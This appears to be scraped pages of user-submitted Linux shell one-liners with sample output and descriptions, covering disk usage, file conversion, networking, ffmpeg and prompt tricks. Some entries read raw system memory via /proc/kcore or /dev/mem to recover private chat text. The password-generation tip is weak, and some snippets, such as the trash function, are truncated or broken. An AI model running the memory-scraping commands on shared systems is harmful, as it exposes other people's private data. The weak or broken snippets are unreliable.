/media/archivo/audio/music/selections//2008 indie/john_vanderslice-exodus_damage-remix-.mp3 /media/archivo/audio/music/selections//2008 indie/butch_walker_and_the_lets_go_out_tonites-bethamphetamine_(pretty_pretty).mp3 -> /media/archivo/audio/music/selections//2008 indie/butch_walker_and_the_lets_go_out_tonites-bethamphetamine-pretty_pretty-.mp3 /media/archivo/audio/music/selections//2008 indie/los_campesinos-dont_tell_me_to_do_the_math(s).mp3 -> /media/archivo/audio/music/selections//2008 indie/los_campesinos-dont_tell_me_to_do_the_math-s-.mp3 /media/archivo/audio/music/selections//2008 prior to -> /media/archivo/audio/music/selections//2008_prior_to iso-8859-1 to utf-8 safe recursive rename This command is a powerful "detoxifier" that eliminates special chars, spaces and all those little chars we don't like. It support several "sequences" so be sure to check your /usr/local/etc/detoxrc while at it... and maybe define your own git rm $(git ls-files --deleted) rm 'stylesheets/blueprint/.svn/all-wcprops' rm 'stylesheets/blueprint/.svn/entries' rm 'stylesheets/blueprint/.svn/format' rm 'stylesheets/blueprint/.svn/prop-base/screen.css.svn-base' rm 'stylesheets/blueprint/.svn/text-base/ie.css.svn-base' rm 'stylesheets/blueprint/.svn/text-base/print.css.svn-base' rm 'stylesheets/blueprint/.svn/text-base/screen.css.svn-base' rm 'stylesheets/blueprint/ie.css' This command handles git rm'ing files that you've deleted. du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}' [user@host]> bigfiles 123 m . 47 m ./media 27 m ./.mozilla 21 m ./src 14 m ./downloads 1 m ./.openoffice.org 1 m ./uni 288 k ./.gstreamer-0.10 208 k ./sketchbook 128 k ./.config 124 k ./.ipython 56 k ./.fontconfig 32 k ./.pal Functions: awk du sort Show biggest files/directories, biggest first with 'k,m,g' eyecandy I use this on debian testing, works like the other sorted du variants, but i like small numbers and suffixes :) RETURN~. Terminate a frozen SSH-session A key sequence for terminating a frozen session. Full sequence on a swedish keyboard: [ENTER] [ALTGR] tilde [SPACE] dot wget --recursive --page-requisites --convert-links www.moyagraphix.co.za Very nice command when you want to download a site locally to your machine, including images, css and javascript sed '1000000!d;q' < massive-log-file.log Efficiently print a line deep in a huge log file Sed stops parsing at the match and so is much more effecient than piping head into tail or similar. Grab a line range using sed '999995,1000005!d' < my_massive_file echo "This text gets stamped on the top of the pdf pages." | enscript -B -f Courier-Bold16 -o- | ps2pdf - | pdftk input.pdf stamp - output output.pdf Stamp a text line on top of the pdf pages. To quickly add some remark, comment, stamp text, ... on top of (each of) the pages of the input pdf file. sudo cpulimit -p pid -l 50 sudo cpulimit -p 4799 -l 10 Process 4799 detected Limit the cpu usage of a process This will limit the average amount of CPU it consumes. cp httpd.conf{,.bk} Short and elegant way to backup a single file before you change it. Remember to backup everything before changing it so you can restore all to normal. find -L . -type l Find broken symlinks python -m http.server $ python3.1 -m http.server Serving HTTP on 0.0.0.0 port 8000 ... Python version 3: Serve current directory tree at http://$HOSTNAME:8000/ In Python version 3, the module was merged into http.server. Gentlemen, change your aliases. sudo -K [does not produce any output] Make sudo forget password instantly By default sudo 'remembers' password for a few minutes, so that you do not need to re-enter password for a series of sudo commands that might follow within a short time duration. However, sometime you might want sudo to instantly 'forget' the password. (Next sudo command will need you to reenter the password) Credit: I first learned this while listening to one of the 'tuxradar' podcast. @reboot <yourscript.sh> Running scripts after a reboot for non-root users . Sometimes we may want to run a script when a system reboots . We can simply do this by just scheduling the script using vixie cron with the @reboot option . e.g @reboot I use it to send me an alert message on our prod hosts to send an alert message when the system reboots . @reboot zaman uptime | echo `uptime` | mail -s "`uname -n` got rebooted" me@myhost.com # dd if=/dev/mem bs=1k skip=768 count=256 2>/dev/null | strings -n 8 Functions: dd strings read the memory from C:0000 to F:FFFF without the need auf dmidecode history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds | gnuplot -persist <(echo 'plot "/tmp/cmds" using 1:xticlabels(2) with boxes') Functions: awk echo head sort Plot your most used commands with gnuplot. grep -Fx -f file1 file2 intersection between two files lftp -e "mirror -c" http://example.com/foobar/ Functions: lftp Mirror a directory structure from websites with an Apache-generated file indexes wget/curl/friends are not good with mirroring files off websites, especially those with Apache-generated directory listings. These tools endlessly waste time downloading useless index HTML pages. lftp's mirror command does a better job without the mess. zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print-column 2 $(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/ {print $2}' | sort | awk -F '/|\.' '{print $(NF-1) " " $0}') | xargs mplayer $ zenity --list --width 500 --height 500 --title 'DI.FM' --text 'Pick a Radio' --column 'radio' --column 'url' --print-column 2 $(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/ {print $2}' | awk -F '/|\.' '{print $(NF-1) " " $0}') | sort | xargs mplayer MPlayer UNKNOWN-4.4.1 (C) 2000-2009 MPlayer Team Failed to open LIRC support. You will not be able to use your remote control. Playing http://listen.di.fm/public3/soulfulhouse.pls. Resolving listen.di.fm for AF_INET6... Couldn't resolve name for AF_INET6: listen.di.fm Resolving listen.di.fm for AF_INET... Connecting to server listen.di.fm[72.26.204.27]: 80... Unknown entry type Version=2 Playing http://205.188.215.232:8016/. Resolving 205.188.215.232 for AF_INET6... Couldn't resolve name for AF_INET6: 205.188.215.232 Connecting to server 205.188.215.232[205.188.215.232]: 8016... Name : Soulful House - D I G I T A L L Y - I M P O R T E D - house music selected from Paris with love! Genre : Electronic Soulful House Deep Website: http://www.di.fm Public : yes Bitrate: 96kbit/s Cache fill: 7.50% (24576 bytes) ICY Info: StreamTitle='Elegant & Fabolous - 25 Classic House Anthems and Deep-House Tracks (Victor Hugh - Mine Suburbia (Original)';StreamUrl=''; Cache fill: 10.00% (32768 bytes) Audio only file format detected. Opening audio decoder: [mp3lib] MPEG layer-2, layer-3 mpg123: Can't rewind stream by 291 bits! AUDIO: 44100 Hz, 2 ch, s16le, 96.0 kbit/6.80% (ratio: 12000->176400) Selected audio codec: [mp3] afm: mp3lib (mp3lib MPEG layer-2, layer-3) [pulse] working around probably broken pause functionality, AO: [pulse] 44100Hz 2ch s16le (2 bytes per sample) Video: no video 2.1 (02.0) of -0.0 (unknown) 0.5% 78% Functions: awk sort xargs Choose from a nice graphical menu which DI.FM radio station to play This is a very simple and lightweight way to play DI.FM stations For a more complete version of the command with proper strings in the menu, try: (couldnt fit in the command field above) zenity --list --width 500 --height 500 --title 'DI.FM' --text 'Pick a Radio' --column 'radio' --column 'url' --print-column 2 $(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/ {print $2}' | sort | awk -F '/|\.' '{print $(NF-1) " " $0}') | xargs mplayer This command line parses the html returned from http://di.fm and display all radio stations in a nice graphical menu. After the radio is chosen, the url is passed to mplayer so the music can start dependencies: - x11 with gtk environment - zenity: simple app for displaying gtk menus (sudo apt-get install zenity on ubuntu) - mplayer: simple audio player (sudo apt-get install mplayer on ubuntu) alias dateh='date --help|sed "/^ *%a/,/^ *%Z/!d;y/_/!/;s/^ *%\([:a-z]\+\) \+/\1_/gI;s/%/#/g;s/^\([a-y]\|[z:]\+\)_/%%\1_%\1_/I"|while read L;do date "+${L}"|sed y/!#/%%/;done|column -ts_' (1:2751)$ dateh %a Sat locale's abbreviated weekday name (e.g., Sun) %A Saturday locale's full weekday name (e.g., Sunday) %b Apr locale's abbreviated month name (e.g., Jan) %B April locale's full month name (e.g., January) %c Sat 24 Apr 2010 05:29:05 AM EDT locale's date and time (e.g., Thu Mar 3 23:05:25 2005) %h Apr same as %b %k 5 hour ( 0..23) %l 5 hour ( 1..12) %n a newline %p AM locale's equivalent of either AM or PM; blank if not known %P am like %p, but lower case %t a tab %u 6 day of week (1..7); 1 is Monday %w 6 day of week (0..6); 0 is Sunday %z -0400 +hhmm numeric timezone (e.g., -0400) %:z -04:00 +hh:mm numeric timezone (e.g., -04:00) %::z -04:00:00 +hh:mm:ss numeric time zone (e.g., -04:00:00) %:::z -04 numeric time zone with : to necessary precision (e.g., -04, +05:30) %Z EDT alphabetic time zone abbreviation (e.g., EDT) Functions: alias column date read sed View all date formats, Quick Reference Help Alias If you have used bash for any scripting, you've used the date command alot. It's perfect for using as a way to create filename's dynamically within aliases,functions, and commands like below.. This is actually an update to my first alias, since a few commenters (below) had good observations on what was wrong with my first command. # creating a date-based ssh-key for askapache.github.com ssh-keygen -f ~/.ssh/`date +git-$USER@$HOSTNAME-%m-%d-%g` -C 'webmaster@askapache.com' # /home/gpl/.ssh/git-gplnet@askapache.github.com-04-22-10 # create a tar+gzip backup of the current directory tar -czf $(date +$HOME/.backups/%m-%d-%g-%R-`sed -u 's/\//#/g' <<< $PWD`.tgz) . # tar -czf /home/gpl/.backups/04-22-10-01:13-#home#gpl#.rr#src.tgz . I personally find myself having to reference date --help quite a bit as a result. So this nice alias saves me a lot of time. This is one bdash mofo. Works in sh and bash (posix), but will likely need to be changed for other shells due to the parameter substitution going on.. Just extend the sed command, I prefer sed to pretty much everything anyways.. but it's always preferable to put in the extra effort to go for as much builtin use as you can. Otherwise it's not a top one-liner, it's a lazyboy recliner. Here's the old version: alias dateh='date --help|sed "/^ *%%/,/^ *%Z/!d;s/ \+/ /g"|while read l;do date "+ %${l/% */}_${l/% */}_${l#* }";done|column -s_ -t' This trick from my [ http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html bash_profile ] sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade Limit bandwidth usage by apt-get Limits the usage of bandwidth by apt-get, in the example the command will use 30Kb/s ;) It should work for most apt-get actions (install, update, upgrade, dist-upgrade, etc.) watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1" 2 10.0.0.2 Monitor open connections for httpd including listen, count and sort it per IP It's not my code, but I found it useful to know how many open connections per request I have on a machine to debug connections without opening another http connection for it. You can also decide to sort things out differently then the way it appears in here. flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; } sample command -------------- flight_status ua 3655 sample output ------------- Status: In Air Departure: San Francisco, CA (SFO) Scheduled: 6:25 AM, Jan 4 Takeoff: 6:41 AM, Jan 4 Term-Gate: Term 1 - 35 Arrival: Newark, NJ (EWR) Scheduled: 2:50 PM, Jan 4 Estimated: 2:50 PM, Jan 4 Remaining: 4 hr 10 min Term-Gate: Term C - C82 track flights from the command line Usage: flight_status airline_code flight_number (optional)_offset_of_departure_date_from_today So for instance, to track a flight which departed yesterday, the optional 3rd parameter should have a value of -1. eg. flight_status ua 3655 -1 output --------- Status: Arrived Scheduled: 6:30 AM, Jan 3 Takeoff: 7:18 AM, Jan 3 Term-Gate: Term 1 - 32A Arrival: Newark, NJ (EWR) Scheduled: 2:55 PM, Jan 3 At Gate: 3:42 PM, Jan 3 Term-Gate: Term C - C131 Note: html2text needs to be installed for this command. only tested on ubuntu 9.10 for n in E2 A2 D3 G3 B3 E4;do play -n synth 4 pluck $n repeat 2;done Tune your guitar from the command line. This command, taken from play's manual page, plays a synthesized guitar tone for each of the strings on a standard tuned guitar. The command "play" is a part of the package "sox". ‹ First < 13 14 15 16 17 > Last › trash <file> $ trash file1 file2 file3 file1 trashed! file2 trashed! file3 trashed! a trash function for bash Every rm'ed a file you needed? Of course you haven't. But I have. I got sick of it so I created a bash function. Here it is. It'll put trashed files into a $HOME/.Trash/"date" folder according to the date. I have rm aliased to it as well in my bashrc so that I still use the rm command. It'll choke if you attempt to trash a directory if that directory name is already in the Trash. This rarely happens in my case but it's easy enough to add another test and to mv the old dir if necessary. function trash(){ if [ -z "$*" ] ; then echo "Usage: trash filename" [ -d "${HOME}/.Trash/${DATE}" ] || mkdir -p ${HOME}/.Trash/${DATE} for FILE in $@ ; do mv "${FILE}" "${HOME}/.Trash/${DATE}" echo "${FILE} trashed!" done } tar cf - <dir>|split -b<max_size>M - <name>.tar. drewfus:~/tmp$ lh total 9.8G drwxr-xr-x 2 drew users 4.0K 2009-11-01 09:46 dir -rw-r--r-- 1 drew users 1.5G 2009-11-10 17:26 name.tar.aa -rw-r--r-- 1 drew users 1.5G 2009-11-10 17:27 name.tar.ab -rw-r--r-- 1 drew users 1.5G 2009-11-10 17:28 name.tar.ac -rw-r--r-- 1 drew users 1.5G 2009-11-10 17:29 name.tar.ad -rw-r--r-- 1 drew users 1.5G 2009-11-10 17:30 name.tar.ae -rw-r--r-- 1 drew users 1.5G 2009-11-10 17:31 name.tar.af -rw-r--r-- 1 drew users 1.1G 2009-11-10 17:32 name.tar.ag Functions: split tar Split a tarball into multiple parts Create a tar file in multiple parts if it's to large for a single disk, your filesystem, etc. Rejoin later with `cat .tar.*|tar xf -` for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0;for i in `seq $t 5`;do echo -e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0-9]'`\e[0m";done;done Functions: c++ echo Unbelievable Shell Colors, Shading, Backgrounds, Effects for Non-X I've been using linux for almost a decade and only recently discovered that most terminals like putty, xterm, xfree86, vt100, etc., support hundreds of shades of colors, backgrounds and text/terminal effects. This simply prints out a ton of them, the output is pretty amazing. If you use non-x terminals all the time like I do, it can really be helpful to know how to tweak colors and terminal capabilities. Like: echo $'\33[H\33[2J' env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile Functions: env sh More precise BASH debugging echo -e "\e[32m"; while :; do for i in {1..16}; do r="$(($RANDOM % 2))"; if [[ $(($RANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m $r "; else v+="\e[2m $r "; fi; else v+=" "; fi; done; echo -e "$v"; v=""; done I like the fact the Patola's version uses only ones and zeros, but I also like the sparse output of the other versions. This one combines both of those features and eliminates some unnecessary cruft. You can vary the sparseness by changing "$(($RANDOM % 5))" to another number. The number in this term "$(($RANDOM % 4))" controls how frequently the numbers are output bold. awk 'length>72' file Identify long lines in a file This command displays a list of lines that are longer than 72 characters. I use this command to identify those lines in my scripts and cut them short the way I like it. wget --reject html,htm --accept pdf,zip -rl1 url get all pdf and zips from a website using wget If the site uses https, use: wget --reject html,htm --accept pdf,zip -rl1 --no-check-certificate https-url echo "${PATH//:/$'\n'}" /usr/bin /bin /usr/sbin /sbin /usr/local/bin Show directories in the PATH, one per line Shorter version. awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}' 1: foo bar this is line one 1: foo 2: bar 3: this 4: is 5: line 6: one 2: blah blah some other stuff 1: blah 2: blah 3: some 4: other 5: stuff Analyze awk fields Breaks down and numbers each line and it's fields. This is really useful when you are going to parse something with awk but aren't sure exactly where to start. some command|xsel --clipboard pipe output of a command to your clipboard In turn you can get the contents of your clipboard by typing xsel by itself with no arguments: xsel This command requires you to install the xsel utility which is free PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo \e[36\;40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)" ^_^ # true ^_^ # false -_- # Smiley Face Bash Prompt If your last command was a dud, your bash prompt will be angry at you. Otherwise it's happy. Soon you will crave its constant approval and your linux skills will improve simply to avoid low self-esteem. ( cat badfile.log ; tac badfile.log | tac ) > goodfile.log cat: badfile.log: Input/output error tac: badfile.log: Input/output error Functions: cat tac restoring some data from a corrupted text file man tac When there is a bad block in the middle of your file, you can see its begninning with `cat' and its end with `tac'. But both commands terminates with an error. So this sequence rebuilds a new file without badblock. < /path/to/file.txt grep foo Redirect STDIN Several times, I find myself hitting my up arrow, and changing the search term. Unfortunately, I find myself wasting too much time typing: grep kernel /var/log/messages Redirecting STDIN allows me to put the search term at the end so I less cursor movement to change what I'm searching for: < /var/log/messages grep kernel If you're using the emacs keyboard binding, then after you press your up arrow, press CTRL+w to erase the word. If this has already been submitted, I couldn't find it with the search utility. mysql --database=dbname -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql --database=dbname & Convert all MySQL tables and fields to UTF8 This loops through all tables and changes their collations to UTF8. You should backup beforehand though in case some data is lost in the process. ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 -t 0:0:20 newfile Cut out a piece of film from a file. Choose an arbitrary length and starting time. With: -vcodec, you choose what video codec the new file should be encoded with. Run ffmpeg -formats E to list all available video and audio encoders and file formats. copy, you choose the video encoder that just copies the file. -acodec, you choose what audio codec the new file should be encoded with. copy, you choose the audio encoder that just copies the file. -i originalfile, you provide the filename of the original file to ffmpeg -ss 00:01:30, you choose the starting time on the original file in this case 1 min and 30 seconds into the film -t 0:0:20, you choose the length of the new film newfile, you choose the name of the file created. Here is more information of how to use ffmpeg: http://www.ffmpeg.org/ffmpeg-doc.html sudo cat /proc/kcore | strings | awk 'length > 20' | less Functions: awk cat strings sudo Browse system RAM in a human readable form This command lets you see and scroll through all of the strings that are stored in the RAM at any given time. Press space bar to scroll through to see more pages (or use the arrow keys etc). Sometimes if you don't save that file that you were working on or want to get back something you closed it can be found floating around in here! The awk command only shows lines that are longer than 20 characters (to avoid seeing lots of junk that probably isn't "human readable"). If you want to dump the whole thing to a file replace the final '| less' with '> memorydump'. This is great for searching through many times (and with the added bonus that it doesn't overwrite any memory...). Here's a neat example to show up conversations that were had in pidgin (will probably work after it has been closed)... sudo cat /proc/kcore | strings | grep '([0-9]\{2\}:[0-9]\{2\}:[0-9]\{2\})' (depending on sudo settings it might be best to run sudo su first to get to a # prompt) lsof +p xxxx List the files any process is using List the files a process is using. tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000' 14:42:57.087609 CDPv2, ttl: 180s, checksum: 692 (unverified), length 358 IGMP snooping RELEASE SOFTWARE (fc1) 1 packets captured 2 packets received by filter 0 packets dropped by kernel Functions: tcpdump Get Cisco network information This gives you lots of nifty Cisco network information like VLAN tag, port and switch information. cd `pwd -P` lrwxr-xr-x 1 user users 18 Jan 29 16:05 tomcat -> /usr/local/tomcat/ $ cd tomcat $ pwd /home/user/tomcat/ $ cd `pwd -P` /usr/local/tomcat change directory to actual path instead of symlink path If you use symlinks a lot, especially nested symlinks, this puts you back on the absolute path to command-line-fu-nirvana. (Note the backticks around pwd). find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newdir_utf8/{} \; Functions: find iconv Batch convert files to utf-8 taken from http://blog.ofirpicazo.com/linux/batch-convert-files-to-utf-8/ file !$ $ ls /etc/apache2/httpd.conf-example /etc/apache2/httpd.conf-example $ file !$ file /etc/apache2/httpd.conf-example /etc/apache2/httpd.conf-example: ascii text Use last argument of last command Bash shortcut to work with the last argument of your last command find . -type d -name '.svn' -print0 | xargs -0 rm -rdf Functions: find rm xargs Recursively remove .svn directories from the current location curl -I www.commandlinefu.com Get http headers for an url ffmpeg -i video.flv -vn -ar 44100 -ac 2 -ab 192k -f mp3 audio.mp3 Extract audio from Flash video (*.flv) as mp3 file ssh user@host "tar -zcf - /path/to/dir" > dir.tar.gz Create a local compressed tarball from remote host directory This improves on #9892 by compressing the directory on the remote machine so that the amount of data transferred over the network is much smaller. The command uses ssh(1) to get to a remote host, uses tar(1) to archive and compress a remote directory, prints the result to STDOUT, which is written to a local file. In other words, we are archiving and compressing a remote directory to our local box. ‹ First < 14 15 16 17 18 > Last › read -s pass; echo $pass | md5sum | base64 | cut -c -16 YzFj3mM1YzAjNJQ2 Functions: cut echo md5sum read Create strong, but easy to remember password Why remember? Generate! man -t awk | ps2pdf - awk.pdf Functions: awk man save man-page as pdf echo "export LESS_TERMCAP_mb=$'\E[01;31m'" >> ~/.bashrc Color man pages Add the followin to ~/.bashrc #colour export LESS_TERMCAP_mb=$'\E[01;31m' export LESS_TERMCAP_md=$'\E[01;37m' export LESS_TERMCAP_me=$'\E[0m' export LESS_TERMCAP_se=$'\E[0m' export LESS_TERMCAP_so=$'\E[01;44;33m' export LESS_TERMCAP_ue=$'\E[0m' export LESS_TERMCAP_us=$'\E[01;32m' strace -ff -e trace=file my_command 2>&1 | perl -ne 's/^[^"]+"(([^\\"]|\\[\\"nt])*)".*/$1/ && print' $ strace -ff -e trace=file chmod 755 ~/bin/ftrace 2>&1 | perl -ne 's/^[^"]+"(([^\\"]|\\[\\"nt])*)".*/$1/ && print' /bin/chmod /etc/ld.so.nohwcap /etc/ld.so.preload /etc/ld.so.cache /lib/x86_64-linux-gnu/libc.so.6 /usr/lib/locale/locale-archive /home/tange/bin/ftrace Functions: perl strace List files accessed by a command Can be run as a script `ftrace` if my_command is substrituted with "$@" It is useful when running a command that fails and you have the feeling it is accessing a file you are not aware of. read -s -p"Password: " USER_PASSWORD_VARIABLE; echo Ask for a password, the passwd-style You can ask repeatedly for a non-blank password using this function: function read_password() { while [ ! -n "$USER_PASSWORD" ]; do read -s -p"Password: " USER_PASSWORD if [ ! -n "$USER_PASSWORD" ]; then echo "ERROR: You must specify a valid password, please try again" echo Also you can set a time out (in seconds) to write the password read -t 10 -s -p"Password: " USER_PASSWORD_VARIABLE if [ ! $? -eq 0 ]; then echo "Time out!" ff() { local IFS='|'; grep -rinE "$*" . ; } $ ff bin exit ./clfu:1:#!/bin/bash ./clfu:26: exit 0 ./cipa:1:#!/bin/bash ./cipa:6:exit 0 Content search. Grep will read the contents of each file in PWD and will use the REs $1 $2 ... $n to match the contents. In case of match, grep will print the appropriate file, line number and the matching line. It's just easier to write ff word1 word2 word3 Instead of grep -rinE 'word1|word2|word3' . cd <directory>; touch ./-i root@server ~ # cd scripts; touch ./-i root@server ~/scripts # rm -rf * rm: remove regular empty file `file1'? n rm: remove regular empty file `file2'? n rm: remove regular empty file `file3'? n rm: remove regular empty file `file4'? n root@server ~/scripts # Functions: cd touch Protect directory from an overzealous rm -rf * Forces the -i flag on the rm command when using a wildcard delete. echo $0 Figure out what shell you're running ethtool -p eth0 Blink LED Port of NIC Card Blinks LED of a NIC card. Its used when you have multiple NICs and you want to identify the physical port of a particular ethernet card. echo "uptime" | pee "ssh host1" "ssh host2" "ssh host3" run command on a group of nodes in parallel The pee command is in the moreutils package. find ./ -name Thumbs.db -delete Remove Thumbs.db files from folders lsof +L1 COMMAND PID USER FD TYPE DEVICE SIZE NLINK NODE NAME List open files that have no links to them on the filesystem I have come across a situation in the past where someone has unlinked a file by running an 'rm' command against it while it was still being written to by a running process. The problem manifested itself when a 'df' command showed a filesystem at 100%, but this did not match the total value of a 'du -sk *'. When this happens, the process continues to write to the file but you can no longer see the file on the filesystem. Stopping and starting the process will, more often than not, get rid of the unlinked file, however this is not always possible on a live server. When you are in this situation you can use the 'lsof' command above to get the PID of the process that owns the file (in the sample output this is 23521). Run the following command to see a sym-link to the file (marked as deleted): cd /proc/23521/fd && ls -l Truncate the sym-link to regain your disk space: > /proc/23521/fd/3 I should point out that this is pretty brutal and *could* potentially destabilise your system depending on what process the file belongs to that you are truncating. xdg-open [path] open path with your default program (on Linux/*BSD) open [path] in the default program, regardless of which Desktop Environment you use (KDE, GNOME, etc.) Works on all "freedesktop.org" compatible desktop environments !:1-3 % echo a b c d a b c d % echo !:1-3 echo a b c a b c Copy an element from the previous command You can specify a range via '-'. sudo lsof -u someuser -a +D /etc View user activity per directory. View all files opened by a user in specified directory. The +D option makes lsof search all sub-directories to complete depth, while ignoring symbolic links. :w !curl -F "sprunge=<-" http://sprunge.us | xclip Places url such as http://sprunge.us/BZXV in your selection buffer. Quickly share code or text from vim to others. Sprunge.us is a code/text sharing site like pastebin, but it is easy to post stuff from the command line. How it works: :w !command In vim, w writes the current tab to a file when a filename is given afterwards, but if !command is given, the output is piped to the stdin of command. curl -F "sprunge=<-" http://sprunge.us curl is an HTTP client. The -F option does an HTTP post to the given address. The data in the quotes is passed in the post. The "sprunge=" part sets up a fieldname - the part that follows is what is associated with the name. The "<" tells curl to send data from the file descriptor that follows it. The "-" in bash is a file descriptor that points to stdin instead of an actual file; in this case, stdin is being piped in from vim. After we send the HTTP post to sprunge.us, it will give back a url that points to the data you just sent. | xclip xclip is a utility that lets you put stuff in your clipboard or selection buffer. This part uses a bash pipe ( | ) to redirect the stdout of the previous command to the stdin of the next command. So, we're capturing the URL that curl gave us and putting it into the selection buffer, ready to paste into IRC or a forum. Notes: Of course, for this to work, you must have curl (which comes by default on most distroes), and xclip installed. When you share the url, you can append "?lang" to highlight and have line numbers. Check out http://sprunge.us/BZXV?log for line numbers and http://sprunge.us/BZXV?ruby for highlighting. If you prefer to use ctrl-v (paste from clipboard) instead of middle-click (paste from selection buffer), look up options on xclip - you can do that. ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedir/tocopyto/ && tar -xf -" copy from host1 to host2, through your host Good if only you have access to host1 and host2, but they have no access to your host (so ncat won't work) and they have no direct access to each other. ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=$( for (( i=1; $i<=$(( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo -n $s; done ); str=$(echo $str | cut -c -$COLUMNS) ; echo $str; done; } Functions: cut echo a shell function to print a ruler the width of the terminal window. perl -le 'print $!+0, "\t", $!++ for 0..127' Prints: 0 1 Operation not permitted 2 No such file or directory 3 No such process 4 Interrupted system call 5 Input/output error Print a list of standard error codes and descriptions. Written by jmcnamara Taken from http://www.perlmonks.org/?node_id=274896 purple-remote "setstatus?status=away&message=AFK" Change pidgin status Thanks for the comment oshazard, i wasn't aware of purple-remote existence. A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein"; N between 1 and 100. Guess? 50 N between 1 and 50. Guess? 20 N between 20 and 50. Guess? 21 Took you 3 tries, Einstein Numbers guessing game Felt like I need to win the lottery, and wrote this command so I train and develop my guessing abilities. path_stripped_programname="${0##*/}" If called from within a shell script named /home/jimmie/foo.sh: #!/bin/bash path_stripped_programname="${0##*/}" echo $path_stripped_programname OUTPUT: foo.sh quickest (i blv) way to get the current program name minus the path (BASH) Useful in shell scripts when you're trying to get the shell script name without the full path - and easier than awking or cutting. Bash pattern matching and variable manip is fun. function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3 - - > ${1}.pdf; } Functions: as man A function to output a man page as a pdf file Tested on Fedora 12. This function will take a man page and convert it to pdf, saving the output to the current working directory. In Gnome, you can then view the output with "gnome-open file.pdf", or your favorite pdf viewer. chmod -R -x+X * Remove executable bit from all files in the current directory recursively, excluding other directories With GNU chmod at least it is that simple. diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') <(ssh server02 'cd config;find . -type f -exec md5sum {} \;| sort -k 2') 5,7c7,9 < 5955632baf6598bd56668bf45aae31c3 ./hibernate.properties < 54ba5e4ebe18ef4855fa2796dfb2521e ./logging.xml < 388a7f1823574252e26ddbdbd68a02bf ./manager.properties --- > 165768e0b454c90ab1b26150b7954fd2 ./hibernate.properties > 0ad95a5ab764bfdede2dc713f84ecfc0 ./logging.xml > 636d9444bc20ffe2dc2433b90b2535e7 ./manager.properties Functions: diff find md5sum sort ssh Identify differences between directories (possibly on different servers) This can be much faster than downloading one or both trees to a common servers and comparing the files there. After, only those files could be copied down for deeper comparison if needed. ‹ First < 15 16 17 18 19 > Last › mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd -n 1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi /mnt/vdi-ntfs Functions: cut grep mount Mount the first NTFS partition inside a VDI file (VirtualBox Disk Image) Found at: http://forums.virtualbox.org/viewtopic.php?t=52 make -j 4 Functions: make Use all the cores or CPUs when compiling Force make command to create as many compile processes as specified (4 in the example), so that each one goes into one core or CPU and compilation happens in parallel. This reduces the time required to compile a program by up to a half in the case of CPUs with 2 cores, one fourth in the case of quad cores... and so on. exiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir 1 directories scanned 1 directories created 222 image files updated 1 image files unchanged Move all images in a directory into a directory hierarchy based on year, month and day based on exif information This command would move the file "dir/image.jpg" with a "DateTimeOriginal" of "2005:10:12 16:05:56" to "2005/10/12/image.jpg". This is a literal example from the exiftool man page, very useful for classifying photo's. The possibilities are endless. cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}' -macbook:~ root# cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}' | head 9 Jul 21 20:21 ********* 9 Jul 20 19:46 ********* 9 Jul 20 14:46 ********* 7 Jul 23 16:55 ******* 6 Jul 22 21:01 ****** 6 Jul 20 21:05 ****** 5 Jul 22 21:02 ***** 4 Jul 20 21:25 **** 4 Jul 20 21:12 **** Functions: awk cat sort uniq Show me a histogram of the busiest minutes in a log file: Busiest seconds: cat /var/log/secure.log | awk '{print substr($0,0,15)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}' yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done Functions: printf read sleep yes Print a great grey scale demo ! Seen here: http://www.pixelbeat.org/docs/terminal_colours/ svn diff <file> | vim -R - Functions: diff 